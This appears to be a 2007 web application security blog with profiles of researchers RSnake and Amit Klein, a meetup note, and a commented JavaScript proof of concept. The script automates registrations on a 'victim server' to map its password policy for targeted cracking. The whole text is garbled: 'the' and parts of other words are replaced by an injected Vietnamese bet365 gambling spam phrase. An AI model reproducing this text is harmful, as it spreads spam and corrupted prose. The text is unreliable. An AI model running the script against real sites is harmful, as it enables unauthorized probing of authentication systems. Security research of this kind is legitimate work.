My first PERL script was a top100 list for webfringe.com (long gone now). I had a lot of people trying to hack it. It was a fun experiment that I finally gave up on due to time issues, but it gave me a lot of insight into how you can spoof traffic. Hackers have some of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 most interesting traffic on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 Internet. It's a pleasure to host security sites, because I get great visibility into cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 techniques and tools.”

RSnake is currently based out of California but is planning to move to Texas, US and start his own company SecTheory. In cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 WASC meetup I got a chance to meet with him, and for a person who is known and respected by cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 hackers and security professionals alike, he is very down to earth and with a good sense of humor, unlike a typical geek. Below are some of his contributions to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 webappsec community. I say some because cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 information below does not represent all his work. Even he has lost track of some of his work over cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 years.

Articles / Books

PGP Man in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 Middle Attack

AcuTrust Entropy Attacks

Hardening HTAccess, Part One

Hardening HTAccess, Part Two

Hardening HTAccess, Part Three

Accessing Trillian Pro Remotely and Through an Encrypted Tunnel

Death By 1000 Cuts – a Case Study
http://ha.ckers.org/deathby1000cuts/

Is your money safe?
http://ha.ckers.org/old/

Electronic Commerce Insecurity
http://ha.ckers.org/old/10102002.shtml

Internet Mind Games
http://ha.ckers.org/old/07221998.shtml

Apache Information Disclosure Issues or, "How to detect cloaking"
http://www.secureseo.com/blog/2006/04_07_apache_information_disclosure_issues.html

He is also co-authoring a book on XSS to be released tentatively on March 1, 2007
Cross Site Scripting Attacks: XSS Exploits and Defense


Tools written by him:-

Fierce
http://ha.ckers.org/fierce/

MHTML framework
http://ha.ckers.org/weird/mhtml.zip

XSS fuzzer
http://ha.ckers.org/fuzzer/XSSFuzz.zip


Contributions:-

Lots of changes to browser technology over cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 years. Started a number of security sites, written hundreds of articles, dozens of tools and many sample PoC. He has also presented at Blackhat USA and Networld+Interop on a Security Information Management roundtable (couldn’t find cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 url)


Blogs:-

Web Application Security Blog
http://ha.ckers.org/

Snake Bytes
http://www.darkreading.com/blog.asp?blog_sectionid=403


Websites:-

He had started many security related sites, but cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365se two are most popular

To discuss any aspect on web application security
http://sla.ckers.org


Memberships:-

ISSA, CISSP, OWASP, WASC, IASCP. He is also working on something to certify web application security engineers.


Companies worked for:-

He has worked for a major banner advertising company as an Information Specialist and for several start-up companies as Chief Operations Officer and Chief Security Officer. He is now starting his new company SecTheory - doing boutique web application and network security consulting.


Email:-

h__at__ckers.org

We will see a lot more contribution from him as he is working on some very cool stuff and if you want to stay on top of webappsec cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n make http://ha.ckers.org/ as cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 first site you visit to. I wish him all cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 best in his new endeavor.


Last Week – Amit Klein
Next Week – Jeremiah Grossman

Tuesday, February 13, 2007

I dont want a product, I want a solution

RSA Expo is over, and it was good to see a lot of Web application security products being showcased cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re. The awareness about Web application security is increasing, and a lot of companies are coming out with new products to protect Web applications. Such products include network and Web application firewalls, identity management, auditing tools, Web application security tools and encryption tools. If cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re's a way your company can be hacked, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re was a product to protect it.

read cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 entire article here

Thursday, February 08, 2007

Reflection on Amit Klein


For those who are in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 web application security field need no introduction to his name. He is an expert and by far one of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 best in web application security space. He is one of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 early starters of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 field and has played a major role in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 awareness of webappsec. His contribution ranges from not only identifying vulnerabilities and publishing cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365m but also contributing towards standards like OWASP guide, WASC threat classification or web application firewall criteria. And those who are not aware should know he was cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 one who also contributed towards cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 solution for UXSS (pdf xss vulnerability). He is also a WASC (Web Application Security Consortium) officer and a board member and co-leads cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 WASC articles project.

Based out of Israel, he started back in 1997 with Perfecto Technologies (which later became Sanctum), mostly heading security research activities. Sanctum was later acquired by Watchfire in 2004 which is when he left Sanctum / Watchfire. He is currently a CTO of a security company.

Below you will find a list of his articles, contributions, presentations and ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r details.

Articles:-

A Refreshing Look at Redirection
http://www.securityfocus.com/archive/1/450418

Sending arbitrary HTTP requests with Flash 7/8 (+IE 6.0)
http://www.securityfocus.com/archive/1/443391

Under some conditions, it's possible to steal HTTP credentials using Flash
http://www.securityfocus.com/archive/1/443191

Forging HTTP request headers with Flash
http://www.securityfocus.com/archive/1/441014

IE + some popular forward proxy servers = XSS, defacement (browser cache
poisoning)
http://www.securityfocus.com/archive/1/434931

Path Insecurity
http://www.webappsec.org/lists/websecurity/archive/2006-03/msg00000.html

HTTP Response Smuggling
http://www.securityfocus.com/archive/1/425593

Domain Contamination
http://www.webappsec.org/projects/articles/020606.txt

XST Strikes Back
http://www.securityfocus.com/archive/1/423028

Exploiting cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 XmlHttpRequest object in IE - Referrer spoofing, and a
lot more...
http://www.securityfocus.com/archive/1/411585

Detecting and Preventing HTTP Response Splitting and HTTP Request
Smuggling Attacks at cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 TCP Level
http://www.securityfocus.com/archive/1/408135

NTLM HTTP Aucá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365ntication is Insecure by Design
http://www.securityfocus.com/archive/1/405541

Can HTTP Request Smuggling be blocked by Web Application Firewalls
http://www.webappsec.org/lists/websecurity/archive/2005-06/msg00123.html

DOM Based Cross Site Scripting
http://www.webappsec.org/projects/articles/071105.html

Meanwhile, on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r side of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 web server
http://www.itsecurity.com/security.htm?s=3957

HTTP Request Smuggling (with Chaim Linhart, Ronen Heled and Steve Orrin)
http://www.cgisecurity.com/lib/HTTP-Request-Smuggling.pdf

The Insecure Indexing Vulnerability - Attacks Against Local Search Engines
http://www.webappsec.org/projects/articles/022805-clean.html

Detecting and Testing HTTP Response Splitting Using a Browser
http://www.securityfocus.com/archive/107/378523

Blind XPath Injection
http://www.packetstormsecurity.org/papers/bypass/Blind_XPath_Injection_20040518.pdf

Divide and Conquer - HTTP Response Splitting, Web Cache Poisoning
Attacks, and Ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r Topics
http://www.packetstormsecurity.org/papers/general/whitepaper_httpresponse.pdf

Secure Coding Practices for Microsoft ASP.NET
http://www.cgisecurity.com/lib/WhitePaper_Secure_Coding_Practices_VSdotNET.pdf

XS(T) attack variants which can, in some cases, eliminate cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 need for TRACE
http://www.securityfocus.com/archive/107/308433

Cross Site Scripting Explained
http://crypto.stanford.edu/cs155/CSS.pdf

Hacking Web Applications Using Cookie Poisoning
http://www.cgisecurity.com/lib/CookiePoisoningByline.pdf

Contributions:-

OWASP guide to building secure web application
http://internap.dl.sourceforge.net/sourceforge/owasp/OWASPGuide2.0.1.pdf

WAFEC
http://www.webappsec.org/projects/wafec/

WASC's Threat Categorization (TC)
http://www.webappsec.org/projects/threat/

Co-lead cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 WASC articles project
http://www.webappsec.org/projects/articles/guidelines.shtml

Presentations:-

OWASP AppSec Europe Conference 2006 – “HTTP Message Splitting, Smuggling and Ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r Animals”

CERT 2002 Conference, August 2002 - "WWW Forensics"

FM'99 Congress, September 1999 - "A Perfect Verification: Combining Model Checking with Deductive Analysis to Verify Real-Life Software"

Memberships:-

Amit is WASC officer and board member.

Companies worked for:-

Sanctum, Cyota (RSA security)

Education:-

B. Sc. Macá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365matics and Physics

Email:-

aksecurity__at__gmail_dot_com

And this just doesn't end here, you will see a lot more coming from him. He is a must follow figure of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 webappsec field.

Next Friday – Reflection on RSnake

Wednesday, February 07, 2007

WASC meetup during RSA conference

Today at WASC meetup, quite a lot of crowd turned out and it was fun meeting a lot of players from cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 application security field. Here are some of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 pictures from cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 meetup. You will see people like Jeremiah Grossman, RSnake, Arian Evans (Whitehat), Billy Hoffman (SPI), Robert Auger (cgisecurity.net), etc










You can view more pictures at Jeremiah's blog

Tuesday, January 30, 2007

Target password cracking - code explained

This is cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 explanation of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 source code from my last posting about targeted password cracking - Proof of concept


---- Start Code -----


/******

Global variables defined in this module

  • ajax_request - To store cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 XMLHttpRequest object.
    autofill - This string will be used to send variations of password to detect cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 password policy and what ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r characters are allowed.
  • success_response - This string stores cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 response of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 first successful password attempt.
  • post_url - This string is to store cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 parameter string for cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 attacks.
  • correct_password - This string stores cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 correct password used in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 successful attempt.
  • chars_to_check - This string contains cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 characters we are testing if cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y are allowed by cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 application. As you can see here it is a very limited string but we can add as many characters to it.
  • username - Store cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 username of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 successful registration. This username is furcá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r added with a number to create anocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r unique username.
  • counter - This is a number which gets added to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 username to create anocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r unique username. A better approach would be to create a Random number generator.
******/

var ajax_request = false;
var autofill = "";
var success_response = "";
var post_url = "";
var correct_password = "";
var chars_to_check = "@<>/#$!()";
var username = "";
var counter = 46532;


/******

Function create_object()

This function creates a XMLHttpRequest object if it is firefox or ActiveXObject if IE6. Currently this module is tested in Firefox 2.0 and IE6. To learn more on XMLHttpRequest, please read cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 tutorials on Ajax.

******/


function create_object() {

if(window.ActiveXObject) {
var versions = ["Msxml2.XMLHTTP.7.0", "Msxml2.XMLHTTP.6.0", "Msxml2.XMLHTTP.5.0", "Msxml2.XMLHTTP.4.0", "MSXML2.XMLHTTP.3.0", "MSXML2.XMLHTTP", "Microsoft.XMLHTTP"];

for (var i = 0; i < versions.length ; i++) {
try {
ajax_request = new ActiveXObject(versions[i]);

if (ajax_request) {
break;
}
}catch (objException) {
// trap; try next one
} ;
}
}

if (!ajax_request && typeof XMLHttpRequest != 'undefined') {
ajax_request = new XMLHttpRequest ();
}

}




/********

Function post_form(url, parameters)
url - The url where cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 form is submitted. This comes from cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 action attribute of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 form.
parameters - This is cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 form parameters in a string format.

This function posts cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 form using XMLHttpRequest instead of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 browser submitting it. This module assumes cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 first registration attempt is successful. Store cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 successful response page in success_response variable. This will be used to verify whecá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 subsequent attack response was successful. The server response is cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n updated in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 DOM and cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 run_attack function called which checks for cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 password policy and cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 characters that are filtered.

******/


function post_form(url, parameters) {

post_url = url;
ajax_request.open("POST", url, false);
ajax_request.setRequestHeader("Content-Type", "application/x-www-form-urlencoded; charset=UTF-8");

ajax_request.send(parameters);

if(ajax_request.readyState == 4 && ajax_request.status == 200) {

var response_text = ajax_request.responseText;
success_response = response_text;
document.body.innerHTML = response_text;
}

run_attack();
}



/********

Function submit_form(form_id)
form_id - The id of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 form.

This function gacá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365rs all cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 form elements and initializes some global variables which are used in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 subsequent automated registration attempts.

  1. Get cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 action attribute and store it in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 form_action.
  2. Get all cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 form elements and store cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365m in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 string. If cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 form element type is password cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n store it in correct_password String.
  3. Create anocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r form string to be used for fingerprinting cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 password policy. For cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 element types which are password replace cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365m with ??.
    NOTE: I am using ?? as a placeholder for passwords. You can use ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r characters too.
  4. We will store cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 above form string in post_url where cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 future passwords can be applied by replacing ??.
  5. Store cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 correct password in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 correct_password variable.
  6. Store cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 user name entered in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 form in username variable. This will be required to replace with a new username everytime cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 password is successful.
  7. Call cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 post_form function to submit it to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 server.

*******/


function submit_form(form_id)
{
var form = document.getElementById(form_id);
var form_action = form.action;

var params = "";

for(var i = 0; i < form.length; i++) {

params += form.elements[i].name + "=" + form.elements[i].value;

if(form.elements[i].type == 'password') {
autofill += form.elements[i].name + "=" + "??";
correct_password = form.elements[i].value;
}

else {

autofill += form.elements[i].name + "=" + form.elements[i].value;

if(form.elements[i].name == 'username')
username = form.elements[i].value;

}

if(i+1 < form.length) {
autofill += "&";
params += "&";
}
}

post_form(form_action, params);
}



/*******

Function create_attack_string(passwd)
passwd - The password which we want to test against cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 victim server.

  1. Create cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 new username by appending some numerics to it to make it unique. We are trying to avoid cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 duplicate usernames.
  2. Replace cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 ?? which we created as placeholders for password by cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 passwd passed in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 parameter. replaceAll calls cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 prototype function of String object defined towards cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 end of this file.
  3. Return cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 newly created form parameter string to be submitted to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 victim server.

*******/


function create_attack_string(passwd)
{
var newString = autofill.replace(username, getUserName());
newString = newString.replaceAll("??", passwd);
return post_attacker(newString);
}



/*******

Function post_attacker(parameters)
parameters - cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 form parameter string which will be submitted to register username / password on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 victim server.

This function submits cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 attack parameters and checks if cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 response from cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 server is a success by matching to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 success_response it stored from a successful response cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 first time. If cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 response from cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 server matches cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 success response we stored from our original successful registration attempt cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n return true else return false.

*******/


function post_attacker(parameters) {
ajax_request.open("POST", post_url, false);
ajax_request.setRequestHeader("Content-Type", "application/x-www-form-urlencoded; charset=UTF-8");
ajax_request.send(parameters);

if(ajax_request.readyState == 4 && ajax_request.status == 200) {

var response_text = ajax_request.responseText;

if(response_text == success_response)
return 'true';
else
return 'false';
}
}



/*******

Function getUserName()

This is a temporary function considering we are just using username and password for cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 Proof of concept. If cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re are more cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n just username and password cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n we want to store all of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365m in an array or some better approach. This is just for cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 PoC. I am just adding some integer value to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 username for this proof of concept. A better approach would be to create a random number or string generator.

********/


function getUserName()
{
return username + counter++;
}



/********

Function findMinChars()

This function checks for cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 minimum number of characters allowed in a password. It starts with cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 number of characters in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 successful password and work backwards maintaining cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 starting position for capital letter and ending position. Assuming cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 first character of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 successful password was a capital letter and cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 last character a digit, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 following routine removes one character from cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 second position of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 original successful password and keeps removing one character until cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 minimum password length required is met which is checked by cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 response from cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 server. If cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 response is same as it was when cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 registration was successful cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n this attempt was successful too.

********/


function findMinChars()
{
var attack_div = document.getElementById('attack_string');
attack_div.innerHTML = "Checking minimum password length.....";

for(var i = correct_password.length ; i >= 0; i--) {

var passwd = correct_password.substring(0,1) + correct_password.substring(correct_password.length - (i - 2), correct_password.length);
var success = create_attack_string(passwd);

if(success == 'true') {

attack_div.innerHTML += 'Minimum Password Length Allowed : ' + (i-1) + ' characters.';
}
}
}



/********
Function findCharsNotAllowed()

Check cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 characters from cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 chars_to_check by adding one illegal character at a time to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 password used at cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 time of successful registration. If successful cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n that character is allowed and if failure cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n character is not allowed.

********/


function findCharsNotAllowed()
{
var attack_div = document.getElementById('attack_string');

for(var j = 0; j < chars_to_check.length; j++) {
var illegal_character = chars_to_check.charAt(j);
attack_div.innerHTML += 'Checking if character is allowed : ' + illegal_character + '...';
var newPassword = correct_password + illegal_character;
var newString = autofill.replaceAll("??", newPassword);
attack_div.innerHTML += 'Sending attack string : ' + newString + '....';
var success = post_attacker(newString);

attack_div.innerHTML += 'Character ' + illegal_character + ' allowed : ' + success;
}
}



/********

Function isDigitRequired

Check for all cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 digits in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 password used for successful registration and replace cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365m with an alphabet. In this proof of concept i am replacing it with 'a'. If cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 attempt to register is successful that means cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 digit is not compulsory. If failed cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n it is. If a digit is required cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n we can furcá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r check whecá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r if it is required at cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 beginning of a password or towards cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 end.

********/


function isDigitRequired()
{
var attack_div = document.getElementById('attack_string');
attack_div.innerHTML += 'Checking if a digit is required.....';
var passwd = correct_password;

for(var i = 0; i < passwd.length ; i++)
{

if(passwd.charAt(i) > '0' && passwd.charAt(i) < '9')

passwd = passwd.substring(0,i) + 'a' + passwd.substring(i+1, passwd.length);

}

var success = create_attack_string(passwd);

if(success == 'true')
attack_div.innerHTML += 'Should contain digit : false';
else
attack_div.innerHTML += 'Should contain digit : true';
}


/********

Function isStartingWithCapitalLetter()

This method moves cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 starting character which is a capital letter to ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r positions in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 password and checks whecá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 registration was successful. If successful that means cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 password need not start with a capital letter.

********/


function isStartingWithCapitalLetter()
{
var attack_div = document.getElementById('attack_string');
attack_div.innerHTML += 'Checking if a password has to start with a capital letter......';
var passwd = correct_password.substring(0,1).toLowerCase() + correct_password.substring(1,correct_password.length);
var success = create_attack_string(passwd);

if(success == 'true')
attack_div.innerHTML += 'First letter to be a capital letter : false';
else
attack_div.innerHTML += 'First letter to be a capital letter : true';
}


/********

Function isEndingWithDigit()

This method adds an alphabet to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 end of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 password and checks if it registers with this password. If it does cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 password does not have to end with a digit. If it fails cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n it should end with a digit. Similarly we can check if a digit is required at all in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 password.

********/


function isEndingWithDigit()
{
var attack_div = document.getElementById('attack_string');
attack_div.innerHTML += 'Checking if a password has to end with a digit......
';
var passwd = correct_password + "a";
var success = create_attack_string(passwd);

if(success == 'true')
attack_div.innerHTML += 'Last letter has to be a digit : false
';
else
attack_div.innerHTML += 'Last letter has to be a digit : true
';
}


/********

Function run_attack()

This function is cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 starting point of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 attack. This function is called after cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 successful registration in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 beginning and cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n onwards tries different combinations to identify what characters are not allowed in a password.

********/


function run_attack()
{
//Find cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 minimum character required for cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 password.
findMinChars();

//Find if cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 password has to start with a capital letter.
isStartingWithCapitalLetter();

//Find if cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 digits are required
isDigitRequired();

//Find if it has to end with a digit.
isEndingWithDigit();

//Find if cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 characters as mentioned in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 chars_to_check String are not allowed.
findCharsNotAllowed();

}


/********

String.prototype.replaceAll

This function replaces all instances of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 given substring with cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 target string. This function was copied from Ask Ben website. Details of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 function is provided on his website in case you want to understand. The url is mentioned below
http://www.bennadel.com/blog/142-Ask-Ben-Javascript-String-Replace-Method.htm

********/

String.prototype.replaceAll = function(
strTarget, // The substring you want to replace
strSubString // The string you want to replace in.
)
{
var strText = this;
var intIndexOfMatch = strText.indexOf( strTarget );

// Keep looping while an instance of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 target string still exists in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 string.
while (intIndexOfMatch != -1)
{

// Relace out cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 current instance.
strText = strText.replace( strTarget, strSubString )

// Get cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 index of any next matching substring.
intIndexOfMatch = strText.indexOf( strTarget );
}

// Return cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 updated string with ALL cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 target strings replaced out with cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 new substring.
return( strText );
}

-----End Code ----

